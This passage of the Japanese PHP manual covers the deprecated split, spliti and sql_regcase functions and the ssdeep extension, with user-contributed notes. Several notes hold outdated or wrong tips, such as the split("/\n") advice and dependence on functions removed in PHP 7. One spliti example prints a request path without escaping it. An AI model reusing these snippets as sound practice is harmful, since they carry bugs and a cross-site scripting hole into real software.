               $fp = fsockopen($mxhosts[$i], 25);
            if ($fp){
               $s = 0;
               $c = 0;
               $out =  "";
               set_socket_blocking($fp, false);
               do {
                  $out = fgets($fp, 2500);
                  if(ereg( "^220", $out)){
                           $s = 0;
                     $out =  "";
                     $c++;
                  }
                  else if(($c > 0) && ($out ==  "")){
                     break;
                  }
                  else {
                     $s++;
                  }
                  if($s == 9999) {
                     break;
                  }
               } while($out ==  "");
               set_socket_blocking($fp, true);
               fputs($fp,  "HELO $SERVER_NAME\n");
               $output = fgets ($fp, 2000);
               fputs($fp,  "MAIL FROM: <info@" . $tld .  ">\n" );
               $output = fgets($fp, 2000);
               fputs($fp,  "RCPT TO: <$email>\n");
               $output = fgets($fp, 2000);
               if(ereg(  "^250", $output )) {
                  $return[0] = true;
               }
               else {
                  $return[0] = false;
                  $return[1] = $output;
               }
               fputs ($fp,  "QUIT\n");
               fclose($fp);
               if($return[0] == true){
                  break;
               }
            }
         }
      }
   }
   return $return;
}

----
hope it helps you...
X-Istence.com 17-Jan-2003 06:48
To check email, i use the following code:

if (!eregi ("^([a-z0-9_]|\\-|\\.)+@(([a-z0-9_]|\\-)+\\.)+[a-z]{2,4}$", $email) {
echo "Invalid Email Adress";
}
else {
echo "Valid Email Adress";
}
respectthepinguin at yahoo dot com 03-Jan-2003 11:30
validating an email can be pretty tough... however this....
^([[:alnum]]|_|\.|-)+@([[:alnum]]|\.|-)+(\.)([a-z]{2,4})$
makes this task much easier. (:)
BKDotCom at hotmail dot com 30-Sep-2002 11:56
in regards to using gethostbyname() to validate email addresses:
Large flaw:
Doesn't work if the host has a NS & MX record, but no A record.
henrik jensen<hj at this_netwerk dot dk> 27-Jul-2002 10:05
Looking for at regex to check if a file is an image file, this seems to work?

Note: it does not check for illegeal filesystem names - it only looks at the filename extension.

if (eregi ("(.)+\\.(jp(e){0,1}g$|gif$|png$)",$filename)){
    // This is an imagefile
}

[ remove this_ from emailaddress ]
tuxx at tuxx-home dot at 27-Feb-2002 03:11
A small note to one of these expressions above:
Inside a character class ([...]) one does not need to escape the fullstop, therefore

[-\\._]

would become

[-._]
steve at fish2find dot co dot uk 26-Feb-2002 07:40
hope this helps with some validation problems, simple text validation:
            //$firstname = "somename"; // valid
    or  //$firstname = "somenam3"; // not valid

            //lets validate a field entry & trim off any white spaces
            $firstname = trim($firstname);

        //set lenght of the field to a max 12 characters
            $len = "0,12";
            $field = $firstname;

            //call function
            if (is_valid($field, $len)){

            //if field entry valid then set
            $valid_firstname = $field;
            //set record to yes
            $valid_record = "TRUE";
                  echo "$field is a valid name";
            }
            else{
            //set record to null
            $valid_record = "FALSE";
                  echo " $field is not a valid name";
            }
            //process to see if valid record
            if ($valid_record == "FALSE"){
                  echo " & is not a valid record";
            }
            else{ //assume record is valid
                  echo " & is a valid record";
            }

            //validate field entry function

            function is_valid($field, $len) {
            if(eregi("^[[:alpha:]]{{$len}}$", $field)) return                TRUE;
            else return FALSE;
            }
ruben dot no dot spam at artek dot no dot spam dot es 08-Feb-2002 12:28
Well, this can be improved a little. According to the previous, these email addresses would be correct:
  user@domain.e
  user@domain.123
  user@domain-ltd

I suggest this regexp:

if( !eregi( "^" .
            "[a-z0-9]+([_\\.-][a-z0-9]+)*" .    //user
            "@" .
            "([a-z0-9]+([\.-][a-z0-9]+)*)+" .   //domain
            "\\.[a-z]{2,}" .                    //sld, tld
            "$", $email, $regs)
   )
...
mmc at nospam dot dk 27-Jan-2002 06:56
I'm not sure about "\." being the same as "." above.

Anyway, the mentioned regex would not recognize .museum-names, and generally isn't future safe.
Also, it doesn't verify that usernames and hostnames cannot start with "-._".

I would recommend a more general (=future safe) expression and then instead check the hostname. An example:

if( !eregi("^[a-z0-9]+([_\\.-][a-z0-9]+)*"
    ."@([a-z0-9]+([\.-][a-z0-9]+))*$",
    $mail, $regs) )
{
    echo "Error: '$mail' isn't a valid mail address!\n";
}
elseif( gethostbyname($regs[2]) == $regs[2] )
{
    echo "Error: Can't find the host '$regs[2]'!<br>\n";
}

Note: I had to split the regex for it to fit this note.
Also note: The reason I'm using gethostbyname() and not getmxrr() or such is that getmxrr() doesn't work on Win2000/XP.


正規表現により文字列を分割し、配列に格納する

  • ≪ eregi
  • spliti ≫
  • PHP Manual
  • POSIX 正規表現関数
  • 正規表現により文字列を分割し、配列に格納する

split

(PHP 4, PHP 5)

split — 正規表現により文字列を分割し、配列に格納する

警告

この関数は PHP 5.3.0 で 非推奨 となり、 PHP 7.0.0 で 削除 されました。

この関数の代替として、これらが使えます。

  • preg_split()
  • explode()
  • str_split()

説明

split ( string $pattern , string $string , int $limit = -1 ) : array

string を、正規表現によって配列に分割します。

パラメータ

pattern

大文字小文字を区別する正規表現。

正規表現で特殊文字とみなされる文字を分割したい場合、それらを まずエスケープする必要があります。split() (または他の正規表現関数に関して)の動作が何か変であると感じたならば、 PHP 配布ファイルの regex/ サブディレクトリにあるファイル regex.7 を読んでください。このファイルは man ページ形式となっており、読むには man /usr/local/src/regex/regex.7 のようにします。

string

入力文字列。

limit

limit が指定された場合、返される配列には 最大 limit の要素が含まれます。この場合、 最後の要素には string の残りの部分が全て 入っています。

返り値

文字列の配列を返します。配列の各要素は、大文字小文字を区別する正規表現 pattern により区切られた string 中の部分文字列です。

pattern が n 回 現れる場合、返される配列には、 n+1 個のアイテムが 含まれます。例えば、pattern が現れない場合、 1 個の要素のみを有する配列が返されます。もちろん、これは エラーを生じた場合、split() は false を返します。

例

例1 split() の例

/etc/passwd の行から最初の 4 つのフィールドを 取り出すには、以下のようにします。

<?php
list($user, $pass, $uid, $gid, $extra) =
    split(":", $passwd_line, 5);
?>

例2 split() の例

スラッシュ、ドット、ハイフンをデリミタとすると日付を処理する例を 以下に示します。

<?php
// デリミタはスラッシュ、ドット、ハイフンのどれかです。
$date = "04/30/1973";
list($month, $day, $year) = split('[/.-]', $date);
echo "Month: $month; Day: $day; Year: $year<br />\n";
?>

注意

ヒント

split() は PHP 5.3.0 以降で非推奨になりました。この関数のかわりに
preg_split() を使うことを推奨します。
正規表現の威力が必要ないのであれば、explode()
を使用するほうがより高速です。これは正規表現エンジンの
オーバーヘッドを受けません。

ヒント

Perl の @chars = split('', $str) と同等の処理をする方法を知りたい場合は、 preg_split() あるいは str_split() の例を参照ください。

参考

  • preg_split() - 正規表現で文字列を分割する
  • spliti() - 大文字小文字を区別しない正規表現により文字列を分割し、配列に格納する
  • str_split() - 文字列を配列に変換する
  • explode() - 文字列を文字列により分割する
  • implode() - 配列要素を文字列により連結する
  • chunk_split() - 文字列をより小さな部分に分割する
  • wordwrap() - 指定した文字数で文字列を分割する

User Contributed Notes

Greg Levine 04-Dec-2008 01:45
I kept running into the same issue Chris Tyler experienced with lewis [ at t] hcoms [d dot t] co [d dot t] uk's function before realizing that Chris had come up with a solution. However, that solution was just a little off it seems, unless your CSV only contains one line.

If you simply add another --length; in the place you suggested, then the function will always trim the last two characters on the line. Since the newline character is the last character on the line and the redundant quote (or other enclosure) is the second to last character, this works for the final segment. But when parsing segments that do not include a newline character, you end up trimming the redundant enclosure and the last character before the enclosure.

For example,

"he","she","him","her"\r\n

becomes

[0] => h
[1] => sh
[2] => hi
[3] => her

Since the segment could end with the enclosure (i.e., ") or the enclosure followed by the newline (i.e., "\r\n), you have make sure you are only adding another --length; when the latter is the case. Replacing the code block that you suggested with the following will do the trick.

# Is the last thing a newline?
if( $char == $newline )
{
    # Well then get rid of it
    --$length;
}

# Is the last thing a quote?
if( $trim_quote )
{
    # Well then get rid of it
    --$length;
}

I've tested this only for the purposes of the script I'm working on at this time. So, there could be other bugs I haven't come across, but this seems like the easiest way to eliminate the redundant enclosure.
pascalaschwandenNOSPAM at gmail dot com 13-Jul-2008 12:12
The following code will mimick the explode functionality: explode( " ", $s );  The difference, of course, is that the split method takes a regular expression instead of a string.

$s = "Split this sentence by spaces";
$words = split("[ ]+", $s);
print_r($words);

Output:
Array
(
    [0] => Split
    [1] => this
    [2] => sentence
    [3] => by
    [4] => spaces
)
http://www.codesplunk.com/nr/questions/php12.html
Chris Tyler 09-Apr-2008 03:25
Thank you Dave for your code below.  Here is one change I made to avoid a redundant quote at the end of some lines (at least when I used excel:

Added another --length;  into the if statement below:

                // Is the last thing a quote?
                if ($trim_quote){
                    // Well then get rid of it
                    --$length;
        // ADD TO FIX extra quote
    --$length;
                }
lewis [ at t] hcoms [d dot t] co [d dot t] uk 25-Mar-2008 03:32
Those of you trying to use split for CSV, it won't always work as expected. Instead, try using a simple stack method:

<?php

    /**
     * Create a 2D array from a CSV string
     *
     * @param mixed $data 2D array
     * @param string $delimiter Field delimiter
     * @param string $enclosure Field enclosure
     * @param string $newline Line seperator
     * @return
     */
    function parse($data, $delimiter = ',', $enclosure = '"', $newline = "\n"){
        $pos = $last_pos = -1;
        $end = strlen($data);
        $row = 0;
        $quote_open = false;
        $trim_quote = false;

        $return = array();

        // Create a continuous loop
        for ($i = -1;; ++$i){
            ++$pos;
            // Get the positions
            $comma_pos = strpos($data, $delimiter, $pos);
            $quote_pos = strpos($data, $enclosure, $pos);
            $newline_pos = strpos($data, $newline, $pos);

            // Which one comes first?
            $pos = min(($comma_pos === false) ? $end : $comma_pos, ($quote_pos === false) ? $end : $quote_pos, ($newline_pos === false) ? $end : $newline_pos);

            // Cache it
            $char = (isset($data[$pos])) ? $data[$pos] : null;
            $done = ($pos == $end);

            // It it a special character?
            if ($done || $char == $delimiter || $char == $newline){

                // Ignore it as we're still in a quote
                if ($quote_open && !$done){
                    continue;
                }

                $length = $pos - ++$last_pos;

                // Is the last thing a quote?
                if ($trim_quote){
                    // Well then get rid of it
                    --$length;
                }

                // Get all the contents of this column
                $return[$row][] = ($length > 0) ? str_replace($enclosure . $enclosure, $enclosure, substr($data, $last_pos, $length)) : '';

                // And we're done
                if ($done){
                    break;
                }

                // Save the last position
                $last_pos = $pos;

                // Next row?
                if ($char == $newline){
                    ++$row;
                }

                $trim_quote = false;
            }
            // Our quote?
            else if ($char == $enclosure){

                // Toggle it
                if ($quote_open == false){
                    // It's an opening quote
                    $quote_open = true;
                    $trim_quote = false;

                    // Trim this opening quote?
                    if ($last_pos + 1 == $pos){
                        ++$last_pos;
                    }

                }
                else {
                    // It's a closing quote
                    $quote_open = false;

                    // Trim the last quote?
                    $trim_quote = true;
                }

            }

        }

        return $return;
    }

?>

This *should* work for any valid CSV string, regardless of what it contains inside its quotes (using RFC 4180). It should also be faster than most of the others I've seen. It's very simple in concept, and thoroughly commented.
Dave Walter 29-Feb-2008 03:39
In response to  the getCSVValues() function posted by justin at cam dot org, my testing indicates that it has a problem with a CSV string like this:

1,2,"3,""4,5"",6",7

This parses as:

array(6) {
  [0]=>
  string(1) "1"
  [1]=>
  string(1) "2"
  [2]=>
  string(4) "3,"4"
  [3]=>
  string(1) "5"
  [4]=>
  string(0) ""
  [5]=>
  string(1) "7"
}

instead of:

array(4) {
  [0]=>
  string(1) "1"
  [1]=>
  string(1) "2"
  [2]=>
  string(9) "3,"4,5",6"
  [3]=>
  string(1) "7"
}

To fix this, I changed the second substr_count to look for an odd number of quotes, as opposed to any quotes at all:

<?php
function getCSVValues($string, $separator=",")
{
    $elements = explode($separator, $string);
    for ($i = 0; $i < count($elements); $i++) {
        $nquotes = substr_count($elements[$i], '"');
        if ($nquotes %2 == 1) {
            for ($j = $i+1; $j < count($elements); $j++) {
                if (substr_count($elements[$j], '"') %2 == 1) { // Look for an odd-number of quotes
                    // Put the quoted string's pieces back together again
                    array_splice($elements, $i, $j-$i+1,
                        implode($separator, array_slice($elements, $i, $j-$i+1)));
                    break;
                }
            }
        }
        if ($nquotes > 0) {
            // Remove first and last quotes, then merge pairs of quotes
            $qstr =& $elements[$i];
            $qstr = substr_replace($qstr, '', strpos($qstr, '"'), 1);
            $qstr = substr_replace($qstr, '', strrpos($qstr, '"'), 1);
            $qstr = str_replace('""', '"', $qstr);
        }
    }
    return $elements;
}
?>
Mike 18-May-2007 10:40
// Split a string into words on boundaries of one or more spaces, tabs or new-lines
$s = "Please cut   \t me \n in pieces";
$words = split("[\n\r\t ]+", $s);
print_r($words);

// Output:
Array
(
    [0] => Please
    [1] => cut
    [2] => me
    [3] => in
    [4] => pieces
)
Jort 14-Mar-2007 12:53
If you are looking for EITHER open square brackets OR close square brackets, then '[[]]' won't work (reasonably expected), but neither will '[\[\]]', nor with any number of escapes. HOWEVER, if your pattern is '[][]' it will work.
RE: gcerretini at technica dot net /UTF8 08-Feb-2006 04:26
Original problem:
=================

I've try using split function.

<?php
$ferro="2&#65533;12";
$valore=split("[&#65533;]",$ferro);
echo $ferro."<br>";
echo "p1-".$valore[0]."<br>";
echo "p2-".$valore[1]."<br>";
echo "p3-".$valore[2]."<br>";
$ferro="2d12";
$valore=split("[d]",$ferro);
echo $ferro."<br>";
echo "p1-".$valore[0]."<br>";
echo "p2-".$valore[1]."<br>";
echo "p3-".$valore[2]."<br>";
?>

This return:
============

2&#65533;12
p1-2
p2-
p3-12
2d12
p1-2
p2-12
p3-

I use charset UTF-8. When I use char &#65533; the split function ad an empty string between "2" and "12"... Why?

Explanation:
============

UTF-8 charset codes some characters (like the "&#65533;" character) into two bytes. In fact the regular expresion "[&#65533;]" contains 4 bytes (4 non-unicode characters). To demonstrate the real situation I wrote following example:

$ferro="2de12";
$valore=split("[de]",$ferro);
echo $ferro."<br>";
echo "p1-".$valore[0]."<br>";
echo "p2-".$valore[1]."<br>";
echo "p3-".$valore[2]."<br>";

This returns:
=============

2d12
p1-2
p2-
p3-12
franz at fholzinger dot com 04-Nov-2005 04:34
The example from ramkumar rajendran did not work.
$line = split("/\n", $input_several_lines_long);
I do not know why this does not work for me.

The following has worked for me to get a maximum of 2 array parts separated by the first new line (independant if saved under UNIX or WINDOWS):
$line = preg_split('/[\n\r]+/',$input_several_lines_long,2);
Also empty lines are not considered here.
robin at teddyb dot org 29-Jun-2005 09:01
Actually, this version is better than the last I submitted.  The goal here is to be able to engage in *multiple* delimeter removal passes; for all but the last pass, set the third value to "1", and everything should go well.

    function quotesplit( $splitter=',', $s, $restore_quotes=0 )
    {
        //First step is to split it up into the bits that are surrounded by quotes
        //and the bits that aren't. Adding the delimiter to the ends simplifies
        //the logic further down

        $getstrings = explode('"', $splitter.$s.$splitter);

        //$instring toggles so we know if we are in a quoted string or not
        $delimlen = strlen($splitter);
        $instring = 0;

        while (list($arg, $val) = each($getstrings))
        {
            if ($instring==1)
            {
                if( $restore_quotes )
                {
                    //Add the whole string, untouched to the previous value in the array
                    $result[count($result)-1] = $result[count($result)-1].'"'.$val.'"';
                } else {
                    //Add the whole string, untouched to the array
                    $result[] = $val;
                }
                $instring = 0;
            }
            else
            {
                //Break up the string according to the delimiter character
                //Each string has extraneous delimiters around it (inc the ones we added
                //above), so they need to be stripped off
                $temparray = split($splitter, substr($val, $delimlen, strlen($val)-$delimlen-$delimlen+1 ) );

                while(list($iarg, $ival) = each($temparray))
                {
                    $result[] = trim($ival);
                }
                $instring = 1;
            }
        }

        return $result;
    }
robin at teddyb dot org 29-Jun-2005 08:50
wchris's quotesplit assumes that anything that is quoted must also be a complete delimiter-seperated entry by itself.  This version does not.  It also uses split's argument order.

    function quotesplit( $splitter=',', $s )
    {
        //First step is to split it up into the bits that are surrounded by quotes
        //and the bits that aren't. Adding the delimiter to the ends simplifies
        //the logic further down

        $getstrings = explode('"', $splitter.$s.$splitter);

        //$instring toggles so we know if we are in a quoted string or not
        $delimlen = strlen($splitter);
        $instring = 0;

        while (list($arg, $val) = each($getstrings))
        {
            if ($instring==1)
            {
                //Add the whole string, untouched to the previous value in the array
                $result[count($result)-1] = $result[count($result)-1].$val;
                $instring = 0;
            }
            else
            {
                //Break up the string according to the delimiter character
                //Each string has extraneous delimiters around it (inc the ones we added
                //above), so they need to be stripped off
                $temparray = split($splitter, substr($val, $delimlen, strlen($val)-$delimlen-$delimlen+1 ) );

                while(list($iarg, $ival) = each($temparray))
                {
                    $result[] = trim($ival);
                }
                $instring = 1;
            }
        }

        return $result;
    }
wchris 18-Feb-2005 03:53
moritz's quotesplit didn't work for me. It seemed to split on a comma even though it was between a pair of quotes. However, this did work:

function quotesplit($s, $splitter=',')
{
//First step is to split it up into the bits that are surrounded by quotes and the bits that aren't. Adding the delimiter to the ends simplifies the logic further down

    $getstrings = split('\"', $splitter.$s.$splitter);

//$instring toggles so we know if we are in a quoted string or not
    $delimlen = strlen($splitter);
    $instring = 0;

    while (list($arg, $val) = each($getstrings))
    {
        if ($instring==1)
        {
//Add the whole string, untouched to the result array.
            $result[] = $val;
            $instring = 0;
        }
        else
        {
//Break up the string according to the delimiter character
//Each string has extraneous delimiters around it (inc the ones we added above), so they need to be stripped off
            $temparray = split($splitter, substr($val, $delimlen, strlen($val)-$delimlen-$delimlen ) );

            while(list($iarg, $ival) = each($temparray))
            {
                $result[] = trim($ival);
            }
            $instring = 1;
        }
    }
    return $result;
}
ramkumar rajendran 17-Jan-2005 10:09
A correction to a earlier note
If you want to use split to check on line feeds (\n), the following won't work:

$line = split("\n", $input_several_lines_long);

You really have to do this instead, notice the second slash:
$line = split("/\n", $input_several_lines_long);

Took me a little while to figure to do
claes at dot2me.com 03-Nov-2004 04:10
Though this is obvious, the manual is a bit incorrect when claiming that the return will always be 1+number of time the split pattern occures.  If the split pattern is the first part of the string, the return will still be 1.  E.g.

$a = split("zz," "zzxsj.com");
count($a);

=> 1.

The return of this can not in anyway be seperated from the return where the split pattern is not found.
alphibia at alphibia dot com 31-Mar-2004 06:19
I'd like to correct myself, I found that after testing my last solution it will create 5 lines no matter what... So I added this to make sure that it only displays 5 if there are five newlines. :-)

<?php
    $MaxNewLines = 5;

    $BRCount = substr_count($Message, '<br />');
    if ($BRCount<$MaxNewLines)
    $MaxNewLines=$BRCount;
    else if($BRCount == 0)
    $MaxNewLines=1;

    $Message = str_replace(chr(13), "<br />", $Message);
    $MessageArray = split("<br />", $Message, $MaxNewLines);
    $Message = ""; $u=0;
    do    {
    $Message.=$MessageArray[$u].'<br />';
    $u++;
    } while($u<($MaxNewLines-1));
    $Message.=str_replace("<br />"," ",$MessageArray[$u]);
    ?>

-Tim
http://www.alphibia.com
nomail at please dot now 21-Nov-2003 09:33
If you want to use split to check on line feeds (\n), the following won't work:

$line = split("\n", $input_several_lines_long);

You really have to do this instead, notice the second slash:
$line = split("\\n", $input_several_lines_long);

Took me a little while to figure out.
krahn at niehs dot nih dot gov 24-Oct-2003 12:14
> strange things happen with split
> this didn't work
> $vontag $vonmonat were empty strings
...
> list ($vontag , $vonmonat) = split ('.' , $fromdate); // << bad

Split is acting exactly as it should; it splits on regular expressions.
A period is a regular expression pattern for a single character.
So, an actual period must be escaped with a backslash:  '\.'
A period within brackets is not an any-character pattern, because it does
not make sense in that context.

Beware that regular expressions can be confusing becuase there
are a few different varieties of patterns.
dalu at uni dot de 08-Oct-2003 12:26
php4.3.0

strange things happen with split

this didn't work
$vontag $vonmonat were empty strings

<?php
function ckdate($fromdate="01.01", $todate="31.12")
{
    $nowyear = date("Y");
    list ($vontag , $vonmonat) = split ('.' , $fromdate); // << bad
    $vondatum = "$nowyear-$vonmonat-$vontag";
    list ($bistag , $bismonat) = split ('.' , $todate); // << bad
    $bisdatum = "$nowyear-$bismonat-$bistag";
    $von = strtotime($vondatum);
    $bis = strtotime($bisdatum);
    $now = time();
    if (($now <= $bis) and ($now >= $von))
    {
        return TRUE;
    }
    else
    {
        return FALSE;
    }
}
?>

however this one worked perfectly

<?php
function ckdate($fromdate="01.01", $todate="31.12")
{
    $nowyear = date("Y");
    list ($vontag , $vonmonat) = split ('[.]' , $fromdate); // << good
    $vondatum = "$nowyear-$vonmonat-$vontag";
    list ($bistag , $bismonat) = split ('[.]' , $todate); // << good
    $bisdatum = "$nowyear-$bismonat-$bistag";
    $von = strtotime($vondatum);
    $bis = strtotime($bisdatum);
    $now = time();
    if (($now <= $bis) and ($now >= $von))
    {
        return TRUE;
    }
    else
    {
        return FALSE;
    }
}
?>

btw this fn checks if $now if between $fromdate and $todate
use it if you like
jeffrey at jhu dot edu 10-Jan-2003 01:51
In answer to gwyne at gmx dot net, dec 1, 2002:

For split(), when using a backslash as the delimiter, you have to *double escape* the backslash.

example:
==================================
<pre>
<?
$line = 'stuff\\\thing\doodad\\';
$linearray = split('\\\\', $line); //<--NOTE USE OF FOUR(4)backslashes
print join(":", $linearray);
?>
</pre>

==================================
output is:

<pre>
stuff::thing:doodad:
</pre>
paha at paha dot hu 21-Jul-2002 06:51
It's evident but not mentioned in the documentation that using asterisks is more restricted than in a normal regular expression.

for exaple you cannot say:

split(";*",$string);

because what if there's no ";" separator?(which is covered by this regular expression)

so you have to use at least

split(";+",$quotatxt);

in this situation.
fotw at gmx dot net 17-Jun-2002 12:50
Ups! It seems that neither explode nor split REALY takes a STRING but only a single character as a string for splitting the string.
 I found this problem in one of my codes when trying to split a string using ";\n" as breaking string. The result, only ";" was thaken... the rest of the string was ignored.
 Same when I tried to substitute "\n" by any other thing. :(
not at anythingspecial dot com 16-Jun-2002 06:48
If you need to do a split on a period make sure you escape the period out..

$ext_arr = split("\.","something.jpg");
... because
$ext_arr = split(".","something.jpg"); won't work properly.
kang at elpmis dot com 12-Jun-2002 11:30
This is a good way to display a comma delimited file with two columns.  The first column is the URL's description, the second is the actual URL.

<ul>
<?php
  $fname="relatedlinks.csv";
  $fp=fopen($fname,"r") or die("Error found.");
  $line = fgets( $fp, 1024 );
  while(!feof($fp))
  {
    list($desc,$url,$dummy) = split( ",", $line, 3 );
    print "<li>";
    print "<a href='$url'>$desc</a>";
    print "</li>\n";
    $line = fgets( $fp, 1024 );
  }
  fclose($fp);
?>
</ul>
jchart at sdccu dot net 31-May-2002 12:56
[Ed. note: Close. The pipe *is* an operator in PHP, but
the reason this fails is because it's also an operator
in the regex syntax. The distinction here is important
since a PHP operator inside a string is just a character.]

The reason your code:

$line = "12|3|Fred";
list ($msgid, $msgref, $msgtopic)=split('|', $line);

didn't work is because the "|" symbol is an operator in PHP. If you want to use the pipe symbol as a delimiter you must excape it with a back slash, "\|". You code should look like this:

$line = "12|3|Fred";
list ($msgid, $msgref, $msgtopic)=split('\|', $line);
mcgarry at tig dot com dot au 17-May-2002 03:27
split() doesn't like NUL characters within the string, it treats the first one it meets as the end of the string, so if you have data you want to split that can contain a NUL character you'll need to convert it into something else first, eg:

$line=str_replace(chr(0),'',$line);


大文字小文字を区別しない正規表現により文字列を分割し、配列に格納する

  • ≪ split
  • sql_regcase ≫
  • PHP Manual
  • POSIX 正規表現関数
  • 大文字小文字を区別しない正規表現により文字列を分割し、配列に格納する

spliti

(PHP 4 >= 4.0.1, PHP 5)

spliti — 大文字小文字を区別しない正規表現により文字列を分割し、配列に格納する

警告

この関数は PHP 5.3.0 で 非推奨 となり、 PHP 7.0.0 で 削除 されました。

この関数の代替として、これらが使えます。

  • preg_split() (i (PCRE_CASELESS) 修飾子を使う)

説明

spliti ( string $pattern , string $string , int $limit = -1 ) : array

string を、正規表現によって配列に分割します。

この関数は、アルファベット文字にマッチさせる際に大文字小文字を 区別しないこと以外は、split() と同じです。

パラメータ

pattern

大文字小文字を区別しない正規表現。

正規表現で特殊文字とみなされる文字を分割したい場合、それらを まずエスケープする必要があります。spliti() (または他の正規表現関数に関して)の動作が何か変であると感じたならば、 PHP 配布ファイルの regex/ サブディレクトリにあるファイル regex.7 を読んでください。このファイルは man ページ形式となっており、読むには man /usr/local/src/regex/regex.7 のようにします。

string

入力文字列。

limit

limit が指定された場合、返される配列には 最大 limit の要素が含まれます。この場合、 最後の要素には string の残りの部分が全て 入っています。

返り値

文字列の配列を返します。配列の各要素は、大文字小文字を区別する正規表現 pattern により区切られた string 中の部分文字列です。

pattern が n 回 現れる場合、返される配列には、 n+1 個のアイテムが 含まれます。例えば、pattern が現れない場合、 1 個の要素のみを有する配列が返されます。もちろん、これは string が空の場合でも有効です。 エラーを生じた場合、spliti() は false を返します。

例

この例では 'a' を区切り文字として文字列を分割します。

例1 spliti() の例

<?php
$string = "aBBBaCCCADDDaEEEaGGGA";
$chunks = spliti ("a", $string, 5);
print_r($chunks);
?>

上の例の出力は以下となります。

Array
(
  [0] =>
  [1] => BBB
  [2] => CCC
  [3] => DDD
  [4] => EEEaGGGA
)

参考

  • preg_split() - 正規表現で文字列を分割する
  • split() - 正規表現により文字列を分割し、配列に格納する
  • explode() - 文字列を文字列により分割する
  • implode() - 配列要素を文字列により連結する

User Contributed Notes

jeffmixpute 25-Jan-2011 02:41
This example shows the use of spliti.
Here it splits the path of the server as it can be used further.

<?php

require_once 'Beispiel.php';
$seq = new Sequence();

$path = $_SERVER["PATH_INFO"];

echo "PATH: ".$path."<br/>";
echo "Request mode: ".$_SERVER["REQUEST_METHOD"]."<br/>";

$daten = spliti ("/", $path);

echo "get-daten[1] ".$daten[1]."<br/>";

if($_SERVER["REQUEST_METHOD"]== "POST"){
  echo "POST".$daten[1];
  $seq->setzeSequence($daten[1], $_POST["xml"]);
}
elseif($_SERVER["REQUEST_METHOD"] == "DELETE"){
  echo "DELETE".$daten[1];
  $seq->loescheSequence($daten[1]);
}
elseif($_SERVER["REQUEST_METHOD"] == "GET"){

$antwort = $seq->holeSequence($daten[1]);
  echo "antwort[0]: ".$antwort[0]."<br/>";
  foreach($antwort as $mes){
   echo "mes ".$mes."<br/>";
   }
}

?>
16-Apr-2004 11:22
When using special characters such as the tab placeholder "\t" in the split function, be careful not to escape the slash by adding a slah in front of it. To signify a tab, new line or carriage return use only one slash in front of the character. For example:

$cartes= "one\ttwo\tthree";

$tab_cartes = split("\t",$cartes );

$items = count($tab_cartes);
for ($x = 0; $x < $items; $x++)
   { echo $tab_cartes[$x] . "\n"; }
vbelon at hotmail dot com 27-Jan-2004 06:51
To split $cartes which contains data and tabulations:
Doesnt work :
$tab_cartes = split("\\t",$cartes );

But \t = char(9), so, works well:
$tab_cartes = split(Chr(9),$cartes);

Idem for :
\n = char(10)
\r = char(13)

Found in http://www.asp-magazine.com/fr/asp/blitz/blitz4.asp


大文字小文字を区別しないマッチングのための正規表現を作成する

  • ≪ spliti
  • ssdeep ≫
  • PHP Manual
  • POSIX 正規表現関数
  • 大文字小文字を区別しないマッチングのための正規表現を作成する

sql_regcase

(PHP 4, PHP 5)

sql_regcase — 大文字小文字を区別しないマッチングのための正規表現を作成する

警告

この関数は PHP 5.3.0 で 非推奨 となり、 PHP 7.0.0 で 削除 されました。

この関数の代替として、これらが使えます。

  • preg_match()
  • preg_quote()

説明

sql_regcase ( string $string ) : string

大文字小文字を区別しないマッチングのための正規表現を作成します。

パラメータ

string

入力文字列。

返り値

大文字小文字を区別せず stringにマッチする、 有効な正規表現式を返します。この表現式は、string の中の個々のアルファベットを '[]' 表現に変換したものです。 この '[]' 表現は、大文字と小文字がそれぞれ含まれます。 アルファベット以外の文字の場合は、元々の文字がそのまま残ります。

例

例1 sql_regcase() の例

<?php
echo sql_regcase("Foo - bar.");
?>

上の例の出力は以下となります。

[Ff][Oo][Oo] - [Bb][Aa][Rr].

この関数は、大文字小文字を区別する正規表現しかサポートしない製品において、 大文字小文字を区別しないパターンマッチングを行いたい場合に役立ちます。

User Contributed Notes

fernandovaller at gmail dot com 30-Apr-2020 01:15
function php7_regcase($str)
{

    if (empty($str))
        return '';

    $chars = str_split($str);

    foreach ($chars as $char) {
        if (preg_match("/[A-Za-z]/", $char)) {
            $str_upper = mb_strtoupper($char, 'UTF-8');
            $str_lower = mb_strtolower($char, 'UTF-8');
            $resp[] = "[{$str_upper}{$str_lower}]";
        } else {
            $resp[] = $char;
        }
    }

    return implode('', $resp);
}
phpcomment at revmaps dot no-ip dot biz 14-Feb-2014 01:53
This function naivley replaces the letters in your expression.
if your expression uses [] already using this will probably break it
edge at gts dot smtn dot stavropol dot ru 25-Jun-2003 06:56
if you set right locale:

setlocale(LC_CTYPE,"ru_RU.KOI8-R");

print sql_regcase("Цffnung");

will output:
"[Цц][Ff][Ff][Nn][Uu][Nn][Gg]"


ssdeep Fuzzy Hashing

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • ssdeep 関数
    • ssdeep_fuzzy_compare — Calculates the match score between two fuzzy hash signatures
    • ssdeep_fuzzy_hash_filename — Create a fuzzy hash from a file
    • ssdeep_fuzzy_hash — Create a fuzzy hash from a string

User Contributed Notes

There are no user contributed notes for this page.


はじめに

ssdeep is a utility for creating and comparing fuzzy hashes or » context-triggered piecewise hashing.

Fuzzy hashing can match signatures which have "...sequences of identical bytes in the same order, although bytes in between these sequences may be different in both content and length". (» ssdeep project page)

This extension provides functions for creating and comparing fuzzy hashes.

User Contributed Notes

There are no user contributed notes for this page.


要件

このエクステンションには、» ssdeep ライブラリが必要です。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

この » PECL 拡張 モジュールは PHP にバンドルされていません。

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/ssdeep.

User Contributed Notes

1manfactory at gmail dot com 06-Nov-2016 12:01
How to install ssdeep for PHP

- wget http://downloads.sourceforge.net/project/ssdeep/ssdeep-2.13/ssdeep-2.13.tar.gz
- tar zxvf ssdeep-2.13.tar.gz
- cd ssdeep-2.13
- ./configure
- make
- sudo make install
- ssdeep -h # test
- sudo pecl install ssdeep
- sudo sh -c "echo 'extension=ssdeep.so' >> /etc/php5/mods-available/ssdeep.ini"
- sudo php5enmod ssdeep
- sudo service apache2 restart


ssdeep 関数

目次

  • ssdeep_fuzzy_compare — Calculates the match score between two fuzzy hash signatures
